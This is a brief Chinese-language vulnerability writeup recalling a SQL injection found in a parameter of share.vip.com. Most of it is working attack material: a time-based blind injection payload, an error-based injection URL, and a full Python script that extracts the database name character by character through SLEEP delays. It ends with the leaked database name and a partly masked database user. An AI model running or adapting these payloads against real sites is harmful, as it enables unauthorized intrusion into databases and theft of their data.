这个1024夜晚不孤单，回顾我们以前挖过的洞~

(SELECT * FROM (SELECT(SLEEP((ASCII(MID(LOWER(DATABASE())," + str(i) + ",1))=" + str(ord(_str)) + ")*5)))RING)

http://share.vip.com/Acts/SetCount?id=63200' and if((1=2),1,(select 1 union select 2))#

#!/usr/bin/env python
# encoding: utf-8
# vip_new.py 
# [email protected]

import requests
import time
import sys

reload(sys)
sys.setdefaultencoding('utf-8')

payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')

for i in range(1,20):
     for _str in payloads:
         start_time = time.time()
         url = "http://share.vip.com/Acts/SetCount?id=63200' AND (SELECT * FROM (SELECT(SLEEP((ASCII(MID(LOWER(DATABASE())," + str(i) + ",1))=" + str(ord(_str)) + ")*5)))RING) AND 'RING'='RING"
         result = requests.get(url).text
         if(time.time() - start_time) > 3:
             print _str
             break

database()
vipshop_share
user()
[email protected].***